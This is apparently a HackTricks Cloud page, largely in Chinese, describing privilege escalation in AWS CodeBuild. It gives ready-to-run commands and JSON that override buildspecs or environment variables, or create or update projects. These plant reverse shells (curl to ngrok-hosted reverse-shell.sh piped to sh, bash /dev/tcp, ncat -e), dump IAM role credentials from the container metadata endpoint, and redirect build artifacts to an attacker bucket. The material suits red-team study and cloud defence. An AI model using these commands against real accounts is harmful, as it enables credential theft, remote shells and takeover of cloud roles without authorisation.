AWS - Codebuild Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
codebuild
获取更多信息:
codebuild:StartBuild | codebuild:StartBuildBatch
仅需其中一项权限即可触发一次使用新 buildspec 的构建,并窃取分配给该 project 的 iam role 的 token:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
注意:这两个命令之间的区别在于:
StartBuild触发单个构建任务,使用特定的buildspec.yml。StartBuildBatch允许你启动一批构建,带有更复杂的配置(例如并行运行多个构建)。
潜在影响: 直接 privesc 到附加的 AWS Codebuild 角色。
StartBuild 环境变量覆盖
即使你不能修改项目(UpdateProject)并且不能覆盖 buildspec,codebuild:StartBuild 仍然允许在构建时通过以下方式覆盖环境变量:
- CLI:
--environment-variables-override - API:
environmentVariablesOverride
如果构建使用环境变量来控制行为(比如 destination buckets、feature flags、proxy settings、logging 等),这可能足以让构建角色可访问的 exfiltrate secrets 或在构建内获得 code execution。
示例 1:重定向 Artifact/Upload 目标以 Exfiltrate Secrets
如果构建将 artifact 发布到由环境变量控制的 bucket/path(例如 UPLOAD_BUCKET),则将其覆盖为攻击者控制的 bucket:
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
示例 2: Python Startup Injection via PYTHONWARNINGS + BROWSER
如果构建运行 python3(在 buildspecs 中很常见),你有时可以在不修改 buildspec 的情况下通过滥用以下项获得 code execution:
PYTHONWARNINGS: Python 解析 category 字段并会导入带点的路径。将其设置为...:antigravity.x:...会强制导入 stdlib 模块antigravity。antigravity: 会调用webbrowser.open(...)。BROWSER: 控制webbrowser执行什么。在 Linux 上它用:分隔。使用#%s会使 URL 参数成为 shell 注释。
这可以用来将 CodeBuild 的 role credentials(来自 http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)打印到 CloudWatch logs,然后如果你有日志读取权限就能回收它们。
可展开:StartBuild JSON 请求,用于 PYTHONWARNINGS + BROWSER 技巧
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
拥有 iam:PassRole, codebuild:CreateProject,以及 codebuild:StartBuild 或 codebuild:StartBuildBatch 权限的攻击者能够通过创建并运行一个构建,将权限提升为任意 codebuild IAM role。
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Potential Impact: 对任何 AWS Codebuild role 直接 privesc。
Warning
在 Codebuild 容器 中,文件
/codebuild/output/tmp/env.sh包含访问 metadata credentials 所需的所有 env vars。
该文件包含 env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI,其中有用于访问凭证的 URL path。它会像这样/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
将其附加到 URL
http://169.254.170.2/,即可导出 role credentials。
此外,它还包含 env variable
ECS_CONTAINER_METADATA_URI,其中包含获取 metadata info about the container 的完整 URL。
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
正如上一节,如果你不是创建一个 build project 而是修改它,你可以指定 IAM Role 并窃取 token
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Potential Impact: 直接对任何 AWS Codebuild 角色进行 privesc。
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
与前一节类似,但没有 iam:PassRole 权限,你可以滥用这些权限来修改现有的 Codebuild 项目并访问它们已经分配的角色。
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
潜在影响: 直接对附加的 AWS Codebuild 角色进行 privesc。
SSM
如果拥有 足够的权限来启动 ssm session,就有可能 进入正在构建的 Codebuild project。
该 Codebuild project 需要有一个 breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
然后:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
更多信息请 check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
如果 attacker 能够启动或重启 某个 CodeBuild 项目的构建,而该项目将其 buildspec.yml 文件存放在 attacker 对其具有 write access 的 S3 bucket 上,那么 attacker 可以在 CodeBuild 进程中获得 command execution。
Note:该提权仅在 CodeBuild worker 的 role 与 attacker 不同且(理想情况下)比 attacker 具有更高权限时才相关。
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
你可以使用类似下面的 buildspec 来获取 reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impact: 对用于 AWS CodeBuild worker 的角色进行直接 privesc,该角色通常具有高权限。
Warning
注意 buildspec 可能以 zip 格式存在,因此攻击者需要下载、解压、修改根目录下的
buildspec.yml,然后重新压缩并上传
More details could be found here.
Potential Impact: 直接 privesc 到附加的 AWS Codebuild 角色。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

